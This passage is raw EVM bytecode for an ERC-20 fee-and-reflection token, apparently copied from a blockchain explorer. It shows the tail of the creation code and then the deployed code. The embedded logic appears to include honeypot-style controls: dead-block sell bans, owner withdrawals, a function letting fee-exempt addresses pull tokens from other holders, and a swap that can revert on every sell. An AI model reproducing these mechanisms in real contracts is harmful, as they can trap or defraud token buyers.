e61060b36600461294e565b610fa2565b34801561061c57600080fd5b5061029e61062b3660046128e1565b61104d565b34801561063c57600080fd5b50600554610549906001600160a01b031681565b34801561065c57600080fd5b5061029e61066b3660046128e1565b611133565b34801561067c57600080fd5b506102e561068b3660046129c2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156106c257600080fd5b506102e5600b5481565b3480156106d857600080fd5b50601e54610549906001600160a01b031681565b3480156106f857600080fd5b506102ce6107073660046129a5565b611188565b34801561071857600080fd5b506016546017546018546019546105019392919084565b34801561073b57600080fd5b5060045461054990630100000090046001600160a01b031681565b34801561076257600080fd5b506102ce611223565b600454600090339060ff168061079957506001600160a01b03811660009081526011602052604090205460ff165b6107be5760405162461bcd60e51b81526004016107b5906129f0565b60405180910390fd5b6107c9338585611262565b5060019392505050565b6000546001600160a01b031633146107fd5760405162461bcd60e51b81526004016107b590612a27565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044015b6020604051808303816000875af115801561084d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108719190612a5c565b50505050565b60006108856009600a612b73565b61089490641784abd312612b82565b905090565b600454600090849060ff16806108c757506001600160a01b03811660009081526011602052604090205460ff165b6108e35760405162461bcd60e51b81526004016107b5906129f0565b6108ee858585611386565b6001600160a01b0385166000908152600660209081526040808320338452909152902054838110156109735760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016107b5565b61098786336109828785612b99565b611262565b50600195945050505050565b60006009548211156109fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b5565b6000610a04611a71565b9050610a108184612bac565b9392505050565b600454600090339060ff1680610a4557506001600160a01b03811660009081526011602052604090205460ff165b610a615760405162461bcd60e51b81526004016107b5906129f0565b3360008181526006602090815260408083206001600160a01b03891684529091529020546107c991908690610982908790612bce565b6000610aa56009600a612b73565b610ab490641784abd312612b82565b831115610b035760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016107b5565b81610b21576000610b178460016000611a94565b519150610b3d9050565b6000610b308460016000611a94565b602001519150610b3d9050565b92915050565b3360008181526007602052604090205460ff16610b5f57600080fd5b610b698383611af0565b6040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201849052906323b872dd9060640161082e565b6001600160a01b03811660009081526010602052604081205460ff1615610be057506001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260016020526040902054610b3d90610993565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b81526004016107b590612a27565b610c366000611b2a565b565b6000546001600160a01b03163314610c625760405162461bcd60e51b81526004016107b590612a27565b600460039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd99190612be1565b6001600160a01b031663c9c6539630600460039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5f9190612be1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd09190612be1565b600580546001600160a01b039283166001600160a01b0319918216811783556000908152601060209081526040808320805460ff1990811660019081179092558654600380548085019091557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b018054909716908916179095559454861683526011909152902080549091169091179055600454610e7a9130916301000000900416600019611262565b600454630100000090046001600160a01b031663f305d7193430610e9d81610ba3565b600080610eb26000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610ed496959493929190612bfe565b60606040518083038185885af1158015610ef2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f179190612c39565b505050565b6000546001600160a01b03163314610f465760405162461bcd60e51b81526004016107b590612a27565b610f526009600a612b73565b610f6190641784abd312612b82565b600c55610f706009600a612b73565b610f7f90641784abd312612b82565b600d55610f8e6009600a612b73565b610f9d90641784abd312612b82565b600e55565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b81526004016107b590612a27565b8047101561101c5760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107b5565b604051339082156108fc029083906000818181858888f19350505050158015611049573d6000803e3d6000fd5b5050565b600454600090339060ff168061107b57506001600160a01b03811660009081526011602052604090205460ff165b6110975760405162461bcd60e51b81526004016107b5906129f0565b3360009081526006602090815260408083206001600160a01b0388168452909152902054838110156111195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107b5565b61112833866109828785612b99565b506001949350505050565b600454600090339060ff168061116157506001600160a01b03811660009081526011602052604090205460ff165b61117d5760405162461bcd60e51b81526004016107b5906129f0565b6107c9338585611386565b6000546001600160a01b031633146111b25760405162461bcd60e51b81526004016107b590612a27565b6001600160a01b0381166112175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b5565b61122081611b2a565b50565b6000546001600160a01b0316331461124d5760405162461bcd60e51b81526004016107b590612a27565b6004805461ffff191661010117905543600a55565b6001600160a01b0383166112c45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b5565b6001600160a01b0382166113255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b5565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113ea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b5565b6001600160a01b03821661144c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b5565b600081116114ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b5565b6114b783610ba3565b8111156115205760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107b5565b6001600160a01b03831660009081526007602052604090205460ff1615801561156257506001600160a01b03821660009081526007602052604090205460ff16155b156115ae5760045460ff166115ae5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b60448201526064016107b5565b6001600160a01b03831660009081526007602052604090205460ff161580156115f057506001600160a01b03821660009081526007602052604090205460ff16155b80156115fe5750600a544311155b1561166b576005546001600160a01b039081169083160361166b5760405162461bcd60e51b815260206004820152602160248201527f53656c6c73206e6f7420616c6c6f77656420666f72206465616420626c6f636b6044820152607360f81b60648201526084016107b5565b6005546001600160a01b0384811691161480156116a157506001600160a01b03821660009081526007602052604090205460ff16155b80156116b6575060045462010000900460ff16155b1561177257600c5481111561170d5760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d697400000060448201526064016107b5565b600e548161171a84610ba3565b6117249190612bce565b11156117725760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016107b5565b6005546001600160a01b038481169116148015906117a957506001600160a01b03821660009081526007602052604090205460ff16155b80156117ce57506001600160a01b03831660009081526007602052604090205460ff16155b80156117e3575060045462010000900460ff16155b156118b457600d5481111561183a5760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d6974000060448201526064016107b5565b6005546001600160a01b038381169116146118b457600e548161185c84610ba3565b6118669190612bce565b11156118b45760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016107b5565b6000600b546118c230610ba3565b600454911115915062010000900460ff161580156118e75750600454610100900460ff165b80156118f05750805b801561190a57506005546001600160a01b03858116911614155b801561192f57506001600160a01b03841660009081526007602052604090205460ff16155b801561195457506001600160a01b03831660009081526007602052604090205460ff16155b156119e0576005546001600160a01b03908116908416036119aa57600b5460408051608081018252601654815260175460208201526018549181019190915260195460608201526119a59190611b7a565b6119e0565b600b5460408051608081018252601254815260135460208201526014549181019190915260155460608201526119e09190611b7a565b60045460019060009062010000900460ff1680611a1557506001600160a01b03861660009081526007602052604090205460ff165b80611a3857506001600160a01b03851660009081526007602052604090205460ff165b15611a4257600091505b6005546001600160a01b0390811690861603611a5c575060015b611a698686868585611cee565b505050505050565b6000806000611a7e611fbb565b9092509050611a8d8183612bac565b9250505090565b611a9c612824565b611aa78484846121ab565b9050611abc818585611ab7611a71565b61231b565b60808601526060850152604084015260208301528152611ae48184611adf611a71565b6123ca565b60a08201529392505050565b3060008181526006602090815260408083206001600160a01b03871684529091529020546000198114610871576108718483858403611262565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004805462ff000019166201000017905560608101516020820151604083015160009291611ba791612bce565b611bb19190612bce565b611bbc906002612b82565b9050600081836040015185611bd19190612b82565b611bdb9190612bac565b90506000611be98286612b99565b6008549091504790611c03906001600160a01b0316610ba3565b600f55611c0f826123f2565b6000611c1b8247612b99565b90506000866040015186611c2f9190612b99565b611c399083612bac565b90506000876040015182611c4d9190612b82565b90508015611c5f57611c5f868261257a565b6020880151600090611c72846002612b82565b611c7c9190612b82565b90508015611c9a57600854611c9a906001600160a01b031682612636565b6060890151600090611cad856002612b82565b611cb79190612b82565b90508015611cd557601e54611cd5906001600160a01b031682612636565b50506004805462ff000019169055505050505050505050565b6000611cfb848484611a94565b6001600160a01b03871660009081526010602052604090205490915060ff1615611d5d576001600160a01b038616600090815260026020526040902054611d43908590612b99565b6001600160a01b0387166000908152600260205260409020555b6001600160a01b03851660009081526010602052604090205460ff1615611dc05760c08101516001600160a01b038616600090815260026020526040902054611da69190612bce565b6001600160a01b0386166000908152600260205260409020555b80516001600160a01b038716600090815260016020526040902054611de59190612b99565b6001600160a01b0380881660009081526001602090815260408083209490945584015191881681529190912054611e1c9190612bce565b6001600160a01b0386166000908152600160205260409081902091909155810151151580611e4e575060008160e00151115b15611e6557611e6581604001518260e0015161274f565b600081608001511180611e7d57506000816101200151115b15611f0257611e958160800151826101200151612784565b306001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101400151846101000151856101200151611ee69190612bce565b611ef09190612bce565b60405190815260200160405180910390a35b600081606001511180611f1a57506000816101000151115b15611f3257611f3281606001518261010001516127fa565b60008160a001511180611f4a57506000816101400151115b15611f6257611f628160a0015182610140015161280f565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051611fab91815260200190565b60405180910390a3505050505050565b6000806000600954905060006009600a611fd59190612b73565b611fe490641784abd312612b82565b905060005b6003548110156121485782600160006003848154811061200b5761200b612c67565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612076575081600260006003848154811061204f5761204f612c67565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156120a6576009546009600a61208c9190612b73565b61209b90641784abd312612b82565b945094505050509091565b60016000600383815481106120bd576120bd612c67565b60009182526020808320909101546001600160a01b031683528201929092526040019020546120ec9084612b99565b9250600260006003838154811061210557612105612c67565b60009182526020808320909101546001600160a01b031683528201929092526040019020546121349083612b99565b91508061214081612c7d565b915050611fe9565b506121556009600a612b73565b61216490641784abd312612b82565b6009546121719190612bac565b8210156121a2576009546009600a6121899190612b73565b61219890641784abd312612b82565b9350935050509091565b90939092509050565b6121b3612824565b826121c45760c08101849052610a10565b6121ef6040518060800160405280600081526020016000815260200160008152602001600081525090565b82156122245750604080516080810182526016548152601754602082015260185491810191909152601954606082015261224f565b5060408051608081018252601254815260135460208201526014549181019190915260155460608201525b805160649061225e9087612b82565b6122689190612bac565b60e0830152602081015160649061227f9087612b82565b6122899190612bac565b61010083015260408101516064906122a19087612b82565b6122ab9190612bac565b61012083015260608101516064906122c39087612b82565b6122cd9190612bac565b610140830181905261012083015161010084015160e08501516122f09089612b99565b6122fa9190612b99565b6123049190612b99565b61230e9190612b99565b60c0830152509392505050565b60008080808061232b8689612b82565b945086612343575083925060009150819050806123bf565b858960e001516123539190612b82565b9250858961010001516123669190612b82565b9150858961012001516123799190612b82565b90506000868a610140015161238e9190612b82565b905080828461239d878a612b99565b6123a79190612b99565b6123b19190612b99565b6123bb9190612b99565b9450505b945094509450945094565b6000826123d957506000610a10565b818461014001516123ea9190612b82565b949350505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061242757612427612c67565b60200260200101906001600160a01b031690816001600160a01b031681525050600460039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561249a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124be9190612be1565b816001815181106124d1576124d1612c67565b6001600160a01b0392831660209182029290920101526004546124fe913091630100000090041684611262565b600b54600f541061250e57600080fd5b6004805460405163791ac94760e01b815263010000009091046001600160a01b03169163791ac9479161254c91869160009187913091429101612c96565b600060405180830381600087803b15801561256657600080fd5b505af1158015611a69573d6000803e3d6000fd5b600454612599903090630100000090046001600160a01b031684611262565b6004546001600160a01b0363010000009091041663f305d7198230856000806125ca6000546001600160a01b031690565b426040518863ffffffff1660e01b81526004016125ec96959493929190612bfe565b60606040518083038185885af115801561260a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061262f9190612c39565b5050505050565b804710156126865760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016107b5565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146126d3576040519150601f19603f3d011682016040523d82523d6000602084013e6126d8565b606091505b5050905080610f175760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016107b5565b81600960008282546127619190612b99565b9091555050601a805482919060009061277b908490612bce565b90915550505050565b80601a60020160008282546127999190612bce565b90915550503060009081526010602052604090205460ff16156127db5730600090815260026020526040812080548392906127d5908490612bce565b90915550505b306000908152600160205260408120805484929061277b908490612bce565b80601a60010160008282546127999190612bce565b80601a60030160008282546127999190612bce565b60405180610160016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208083528351808285015260005b818110156128ab5785810183015185820160400152820161288f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461122057600080fd5b600080604083850312156128f457600080fd5b82356128ff816128cc565b946020939093013593505050565b60008060006060848603121561292257600080fd5b833561292d816128cc565b9250602084013561293d816128cc565b929592945050506040919091013590565b60006020828403121561296057600080fd5b5035919050565b801515811461122057600080fd5b6000806040838503121561298857600080fd5b82359150602083013561299a81612967565b809150509250929050565b6000602082840312156129b757600080fd5b8135610a10816128cc565b600080604083850312156129d557600080fd5b82356129e0816128cc565b9150602083013561299a816128cc565b60208082526017908201527f54726164696e67206e6f7420656e61626c656420796574000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215612a6e57600080fd5b8151610a1081612967565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115612aca578160001904821115612ab057612ab0612a79565b80851615612abd57918102915b93841c9390800290612a94565b509250929050565b600082612ae157506001610b3d565b81612aee57506000610b3d565b8160018114612b045760028114612b0e57612b2a565b6001915050610b3d565b60ff841115612b1f57612b1f612a79565b50506001821b610b3d565b5060208310610133831016604e8410600b8410161715612b4d575081810a610b3d565b612b578383612a8f565b8060001904821115612b6b57612b6b612a79565b029392505050565b6000610a1060ff841683612ad2565b8082028115828204841417610b3d57610b3d612a79565b81810381811115610b3d57610b3d612a79565b600082612bc957634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610b3d57610b3d612a79565b600060208284031215612bf357600080fd5b8151610a10816128cc565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215612c4e57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b600060018201612c8f57612c8f612a79565b5060010190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612ce65784516001600160a01b031683529383019391830191600101612cc1565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220dda56d00eefd310e7864930bc34a3e6ec6bb34502523fcc04fe449a205e5318564736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102345760003560e01c8063715018a61161012e578063a457c2d7116100ab578063e7b94df41161006f578063e7b94df4146106cc578063f2fde38b146106ec578063f66895a31461070c578063f887ea401461072f578063fb201b1d1461075657600080fd5b8063a457c2d714610610578063a8aa1b3114610630578063a9059cbb14610650578063dd62ed3e14610670578063e2f45605146106b657600080fd5b80638da5cb5b116100f25780638da5cb5b1461059a57806395d89b41146102405780639865d01a146105b85780639ba5e4d5146105cd5780639e252f00146105f057600080fd5b8063715018a6146104c9578063728f8eea146104de5780637484dce01461052157806375f0a8741461052957806388f820201461056157600080fd5b80634549b039116101bc578063652e2f0411610180578063652e2f041461044857806366a88d961461045e5780636aa5b37f146104745780636ddd17131461048a57806370a08231146104a957600080fd5b80634549b03914610385578063463fef62146103a55780634ada218b146103c55780635342acb4146103df57806362695eae1461041857600080fd5b806323b872dd1161020357806323b872dd146102f3578063274a533c146103135780632d83811914610329578063313ce56714610349578063395093511461036557600080fd5b806306fdde0314610240578063095ea7b31461027e5780630d65df9b146102ae57806318160ddd146102d057600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b50604080518082018252600681526525972797261760d11b60208201529051610275919061287e565b60405180910390f35b34801561028a57600080fd5b5061029e6102993660046128e1565b61076b565b6040519015158152602001610275565b3480156102ba57600080fd5b506102ce6102c936600461290d565b6107d3565b005b3480156102dc57600080fd5b506102e5610877565b604051908152602001610275565b3480156102ff57600080fd5b5061029e61030e36600461290d565b610899565b34801561031f57600080fd5b506102e5600a5481565b34801561033557600080fd5b506102e561034436600461294e565b610993565b34801561035557600080fd5b5060405160098152602001610275565b34801561037157600080fd5b5061029e6103803660046128e1565b610a17565b34801561039157600080fd5b506102e56103a0366004612975565b610a97565b3480156103b157600080fd5b506102ce6103c03660046128e1565b610b43565b3480156103d157600080fd5b5060045461029e9060ff1681565b3480156103eb57600080fd5b5061029e6103fa3660046129a5565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561042457600080fd5b5061029e6104333660046129a5565b60116020526000908152604090205460ff1681565b34801561045457600080fd5b506102e5600d5481565b34801561046a57600080fd5b506102e5600e5481565b34801561048057600080fd5b506102e5600c5481565b34801561049657600080fd5b5060045461029e90610100900460ff1681565b3480156104b557600080fd5b506102e56104c43660046129a5565b610ba3565b3480156104d557600080fd5b506102ce610c02565b3480156104ea57600080fd5b506012546013546014546015546105019392919084565b604080519485526020850193909352918301526060820152608001610275565b6102ce610c38565b34801561053557600080fd5b50600854610549906001600160a01b031681565b6040516001600160a01b039091168152602001610275565b34801561056d57600080fd5b5061029e61057c3660046129a5565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156105a657600080fd5b506000546001600160a01b0316610549565b3480156105c457600080fd5b506102ce610f1c565b3480156105d957600080fd5b50601a54601b54601c54601d546105019392919084565b3480156105fc57600080fd5b506102ce61060b36600461294e565b610fa2565b34801561061c57600080fd5b5061029e61062b3660046128e1565b61104d565b34801561063c57600080fd5b50600554610549906001600160a01b031681565b34801561065c57600080fd5b5061029e61066b3660046128e1565b611133565b34801561067c57600080fd5b506102e561068b3660046129c2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156106c257600080fd5b506102e5600b5481565b3480156106d857600080fd5b50601e54610549906001600160a01b031681565b3480156106f857600080fd5b506102ce6107073660046129a5565b611188565b34801561071857600080fd5b506016546017546018546019546105019392919084565b34801561073b57600080fd5b5060045461054990630100000090046001600160a01b031681565b34801561076257600080fd5b506102ce611223565b600454600090339060ff168061079957506001600160a01b03811660009081526011602052604090205460ff165b6107be5760405162461bcd60e51b81526004016107b5906129f0565b60405180910390fd5b6107c9338585611262565b5060019392505050565b6000546001600160a01b031633146107fd5760405162461bcd60e51b81526004016107b590612a27565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044015b6020604051808303816000875af115801561084d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108719190612a5c565b50505050565b60006108856009600a612b73565b61089490641784abd312612b82565b905090565b600454600090849060ff16806108c757506001600160a01b03811660009081526011602052604090205460ff165b6108e35760405162461bcd60e51b81526004016107b5906129f0565b6108ee858585611386565b6001600160a01b0385166000908152600660209081526040808320338452909152902054838110156109735760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016107b5565b61098786336109828785612b99565b611262565b50600195945050505050565b60006009548211156109fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b5565b6000610a04611a71565b9050610a108184612bac565b9392505050565b600454600090339060ff1680610a4557506001600160a01b03811660009081526011602052604090205460ff165b610a615760405162461bcd60e51b81526004016107b5906129f0565b3360008181526006602090815260408083206001600160a01b03891684529091529020546107c991908690610982908790612bce565b6000610aa56009600a612b73565b610ab490641784abd312612b82565b831115610b035760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016107b5565b81610b21576000610b178460016000611a94565b519150610b3d9050565b6000610b308460016000611a94565b602001519150610b3d9050565b92915050565b3360008181526007602052604090205460ff16610b5f57600080fd5b610b698383611af0565b6040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201849052906323b872dd9060640161082e565b6001600160a01b03811660009081526010602052604081205460ff1615610be057506001600160a01b031660009081526002602052604090205490565b6001600160a01b038216600090815260016020526040902054610b3d90610993565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b81526004016107b590612a27565b610c366000611b2a565b565b6000546001600160a01b03163314610c625760405162461bcd60e51b81526004016107b590612a27565b600460039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd99190612be1565b6001600160a01b031663c9c6539630600460039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5f9190612be1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610dac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd09190612be1565b600580546001600160a01b039283166001600160a01b0319918216811783556000908152601060209081526040808320805460ff1990811660019081179092558654600380548085019091557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b018054909716908916179095559454861683526011909152902080549091169091179055600454610e7a9130916301000000900416600019611262565b600454630100000090046001600160a01b031663f305d7193430610e9d81610ba3565b600080610eb26000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610ed496959493929190612bfe565b60606040518083038185885af1158015610ef2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f179190612c39565b505050565b6000546001600160a01b03163314610f465760405162461bcd60e51b81526004016107b590612a27565b610f526009600a612b73565b610f6190641784abd312612b82565b600c55610f706009600a612b73565b610f7f90641784abd312612b82565b600d55610f8e6009600a612b73565b610f9d90641784abd312612b82565b600e55565b6000546001600160a01b03163314610fcc5760405162461bcd60e51b81526004016107b590612a27565b8047101561101c5760405162461bcd60e51b815260206004820152601860248201527f696e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107b5565b604051339082156108fc029083906000818181858888f19350505050158015611049573d6000803e3d6000fd5b5050565b600454600090339060ff168061107b57506001600160a01b03811660009081526011602052604090205460ff165b6110975760405162461bcd60e51b81526004016107b5906129f0565b3360009081526006602090815260408083206001600160a01b0388168452909152902054838110156111195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107b5565b61112833866109828785612b99565b506001949350505050565b600454600090339060ff168061116157506001600160a01b03811660009081526011602052604090205460ff165b61117d5760405162461bcd60e51b81526004016107b5906129f0565b6107c9338585611386565b6000546001600160a01b031633146111b25760405162461bcd60e51b81526004016107b590612a27565b6001600160a01b0381166112175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b5565b61122081611b2a565b50565b6000546001600160a01b0316331461124d5760405162461bcd60e51b81526004016107b590612a27565b6004805461ffff191661010117905543600a55565b6001600160a01b0383166112c45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b5565b6001600160a01b0382166113255760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b5565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113ea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b5565b6001600160a01b03821661144c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b5565b600081116114ae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b5565b6114b783610ba3565b8111156115205760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107b5565b6001600160a01b03831660009081526007602052604090205460ff1615801561156257506001600160a01b03821660009081526007602052604090205460ff16155b156115ae5760045460ff166115ae5760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b60448201526064016107b5565b6001600160a01b03831660009081526007602052604090205460ff161580156115f057506001600160a01b03821660009081526007602052604090205460ff16155b80156115fe5750600a544311155b1561166b576005546001600160a01b039081169083160361166b5760405162461bcd60e51b815260206004820152602160248201527f53656c6c73206e6f7420616c6c6f77656420666f72206465616420626c6f636b6044820152607360f81b60648201526084016107b5565b6005546001600160a01b0384811691161480156116a157506001600160a01b03821660009081526007602052604090205460ff16155b80156116b6575060045462010000900460ff16155b1561177257600c5481111561170d5760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d697400000060448201526064016107b5565b600e548161171a84610ba3565b6117249190612bce565b11156117725760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016107b5565b6005546001600160a01b038481169116148015906117a957506001600160a01b03821660009081526007602052604090205460ff16155b80156117ce57506001600160a01b03831660009081526007602052604090205460ff16155b80156117e3575060045462010000900460ff16155b156118b457600d5481111561183a5760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d6974000060448201526064016107b5565b6005546001600160a01b038381169116146118b457600e548161185c84610ba3565b6118669190612bce565b11156118b45760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016107b5565b6000600b546118c230610ba3565b600454911115915062010000900460ff161580156118e75750600454610100900460ff165b80156118f05750805b801561190a57506005546001600160a01b03858116911614155b801561192f57506001600160a01b03841660009081526007602052604090205460ff16155b801561195457506001600160a01b03831660009081526007602052604090205460ff16155b156119e0576005546001600160a01b03908116908416036119aa57600b5460408051608081018252601654815260175460208201526018549181019190915260195460608201526119a59190611b7a565b6119e0565b600b5460408051608081018252601254815260135460208201526014549181019190915260155460608201526119e09190611b7a565b60045460019060009062010000900460ff1680611a1557506001600160a01b03861660009081526007602052604090205460ff165b80611a3857506001600160a01b03851660009081526007602052604090205460ff165b15611a4257600091505b6005546001600160a01b0390811690861603611a5c575060015b611a698686868585611cee565b505050505050565b6000806000611a7e611fbb565b9092509050611a8d8183612bac565b9250505090565b611a9c612824565b611aa78484846121ab565b9050611abc818585611ab7611a71565b61231b565b60808601526060850152604084015260208301528152611ae48184611adf611a71565b6123ca565b60a08201529392505050565b3060008181526006602090815260408083206001600160a01b03871684529091529020546000198114610871576108718483858403611262565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004805462ff000019166201000017905560608101516020820151604083015160009291611ba791612bce565b611bb19190612bce565b611bbc906002612b82565b9050600081836040015185611bd19190612b82565b611bdb9190612bac565b90506000611be98286612b99565b6008549091504790611c03906001600160a01b0316610ba3565b600f55611c